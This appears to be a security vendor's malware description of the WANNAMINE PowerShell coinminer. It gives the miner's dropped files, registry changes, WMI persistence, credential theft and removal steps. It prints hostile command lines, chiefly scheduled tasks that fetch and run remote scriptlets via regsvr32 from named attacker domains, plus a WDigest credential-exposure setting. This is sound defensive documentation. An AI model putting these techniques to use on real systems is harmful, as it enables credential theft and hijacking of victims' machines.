Analysis by: Khristian Joseph Morales
ALIASES:

HEUR:Trojan.PowerShell.Generic (KASPERSKY)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Coinminer

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It takes advantage of software vulnerabilities to propagate across networks.

It gathers certain information on the affected computer.

It uses the system's central processing unit (CPU) and/or graphical processing unit (GPU) resources to mine cryptocurrency.

  TECHNICAL DETAILS

File Size: 2,383,071 bytes
File Type: PS1
Memory Resident: Yes
Initial Samples Received Date: 29 Nov 2021
Payload: Connects to URLs/IPs, Deletes files, Steals information

Arrival Details

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Coinminer drops the following files:

  • %ProgramData%\Microsoft\Network\Downloader\services.exe (Renamed %User Temp%\nssm)
  • %ProgramData%\Microsoft\Network\Connections\OSFMount.sys (Renamed %User Temp%\sys)
  • %ProgramData%\Microsoft\Windows\Caches\SecureAssessmentHandlerstor.dll (Renamed %User Temp%\access)

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • netstat -anop tcp
  • %User Temp%\mon.exe -pSwifck
  • %User Temp%\min.exe -pSwifck
  • %User Temp%\uas.exe -pSwifcks
  • %User Temp%\cohernece.exe
  • %ProgramData%\Microsoft\Network\Downloader\services install "Event Logs" %ProgramData%\Microsoft\Network\services.exe | Out-Null
  • %ProgramData%\Microsoft\Network\Downloader\services install "Event Service" %ProgramData%\Microsoft\Network\Connections\services.exe | Out-Null
  • powercfg /CHANGE -standby-timeout-ac 0
  • powercfg /CHANGE -hibernate-timeout-ac 0
  • powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

Autostart Technique

This Coinminer starts the following services:

  • Event Logs
  • Event Service

Other System Modifications

This Coinminer deletes the following files:

  • %User Temp%\mon.exe
  • %User Temp%\min.exe
  • %User Temp%\uas.exe
  • Files in %System%\Tasks\Microsoft\Windows\.NET Framework
  • Files in %System%\Tasks\Microsoft\Windows\PLA\System
  • %Temp%\y1.bat

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %Temp% is the Windows temporary folder, where it usually is C:\Windows\Temp on all Windows operating system versions.)

It adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Windows
RequireSignedAppInit_DLLs = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Windows
LoadAppInit_DLLs = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Windows
AppInit_DLLs = %ProgramData%\Microsoft\Windows\Caches\SecureAssessmentHandlerstor.dll

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\SecurityProviders\WDigest
UseLogonCredential = 1

Propagation

This Coinminer takes advantage of the following software vulnerabilities to propagate across networks:

Download Routine

This Coinminer accesses the following websites to download files:

  • http://{Chosen URL}/ver.txt
  • http://{Chosen URL}/nssm.txt
  • http://{Chosen URL}/sys.txt
  • http://{Chosen URL}/mon.txt
  • http://{Chosen URL}/min.txt
  • http://{Chosen URL}/access.txt
  • http://{Chosen URL}/uas.txt
  • http://{Chosen URL}/cohernece.txt

It saves the files it downloads using the following names:

  • %User Temp%\nssm → Trojan.Win64.MALXMR.R
  • %User Temp%\sys
  • %User Temp%\mon.exe → Detected as Coinminer.Win64.MALXMR.SMA
  • %User Temp%\min.exe
  • %User Temp%\access → Detected as HackTool.Win64.Mimikatz.ENU
  • %User Temp%\uas.exe → Trojan.Win32.SABSIK.BM
  • %User Temp%\cohernece.exe → Detected as TROJ_REDOS.SM2

Information Theft

This Coinminer gathers the following information on the affected computer:

  • Domain credentials

Other Details

This Coinminer uses the system's central processing unit (CPU) and/or graphical processing unit (GPU) resources to mine cryptocurrency. This behavior makes the system run abnormally slow.

It adds the following scheduled tasks:

  • Task name: \Microsoft\Windows\RAC\RacTaskMgr
    Task to be run: wmic os get 'http://{Chosen URL}/net/net.xsl'
  • Task name: \Microsoft\Windows\MUI\LMRemove
    Task to be run: regsvr32 /u /s /i:http://cat.{BLOCKED}abi.in/networks.xsl scrobj.dll
  • Task name: \Microsoft\Windows\Multimedia\SystemEventService
    Task to be run: regsvr32 /u /s /i:http://cat.{BLOCKED }jiji.nl/networks.xsl scrobj.dll
  • Task name: \Microsoft\Windows\PLA\System\{Random characters}
    Task to be run: regsvr32 /u /s /i:http://cat.{BLOCKED}shabi.nl/networks.xsl scrobj.dll'

NOTES:

This Coinminer does the following:

  • It adds an IPSEC policy named netbc to block incoming traffic for TCP port 445.
  • It propagates through the following channels:
    • SMB
  • It connects to the following URLs to receive hash information:
    • http://{Chosen URL}/nssmhash.txt
    • http://{Chosen URL}/monhash.txt
    • http://{Chosen URL}/minhash.txt
  • It creates the following WMI entries under root\default:
    • System_Anti_Virus_Core (Contains encoded components)
  • It creates the following WMI entries under root\subscription:
    • CommandLineEventConsumer
      • Name: Windows Events Consumer
      • CommandLineTemplate: powershell.exe -NoP -NonI -W Hidden -E {Encoded script}
    • __EventFilter
      • Name: Windows Events Filter
    • __FilterToConsumerBinding (Connects the mentioned CommandLineEventConsumer and __EventFilter)
  • It removes __EventFilter WMI entries with the following names:
    • fuckyoumm3
    • fuckamm3
    • fuckamm4
    • BotFilter82
    • BotFilterlog
    • BotFilterlogs
    • Eventloger
  • It removes CommandLineEventConsumer WMI entries with the following names:
    • fuckyoumm4
    • fuckamm4
    • BotConsumer23
    • BotConsumerlog
    • BotConsumerlogs
    • Eventloger
  • It removes __FilterToConsumerBinding WMI entries containing the following strings in its path:
    • fuckyoumm
    • fuckamm
    • BotFilter82
    • BotConsumerlog
    • Eventloger
  • It removes __FilterToConsumerBinding WMI entries not matching "Windows Events" in its name
  • It chooses among the following URL:
    • cat.{BLOCKED}jiji.nl
    • cat.{BLOCKED}abi.in
    • cat.{BLOCKED}shabi.nl
  • It terminates the following processes:
    • Processes containing the following strings in their command line:
    • wmiclass
    • cryptonight
    • System_Anti_Virus_Core
    • Processes with established connection to ports 80, 443, 13531

If affected machine is 32-bit, it downloads and executes the following in the accessed C&C:

  • http://{Chosen URL}/networks.ps1

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 17.224.02
FIRST VSAPI PATTERN DATE: 30 Nov 2021
VSAPI OPR PATTERN File: 17.225.00
VSAPI OPR PATTERN Date: 01 Dec 2021

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Remove malware/grayware files that dropped/downloaded Coinminer.PS1.WANNAMINE.C. (Note: Please skip this step if the threats listed below have already been removed.)

    • Trojan.Win64.MALXMR.R
    • Coinminer.Win64.MALXMR.SMA
    • HackTool.Win64.Mimikatz.ENU
    • Trojan.Win32.SABSIK.BM
    • TROJ_REDOS.SM2

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • \Microsoft\Windows\RAC\RacTaskMgr - wmic os get 'http://{Chosen URL}/net/net.xsl'
  • \Microsoft\Windows\MUI\LMRemove - regsvr32 /u /s /i:http://cat.dashabi.in/networks.xsl scrobj.dll
  • \Microsoft\Windows\Multimedia\SystemEventService - regsvr32 /u /s /i:http://cat.xiaojiji.nl/networks.xsl scrobj.dll
  • \Microsoft\Windows\PLA\System\{Random characters} - regsvr32 /u /s /i:http://cat.xiaoshabi.nl/networks.xsl scrobj.dll'

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 6

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
    • RequireSignedAppInit_DLLs=0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
    • LoadAppInit_DLLs=1
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
    • AppInit_DLLs=%ProgramData%\Microsoft\Windows\Caches\SecureAssessmentHandlerstor.dll
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
    • UseLogonCredential=1

Step 7

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\sys
  • %User Temp%\min.exe

Step 8

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Coinminer.PS1.WANNAMINE.C. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


Did this description help? Tell us how we did.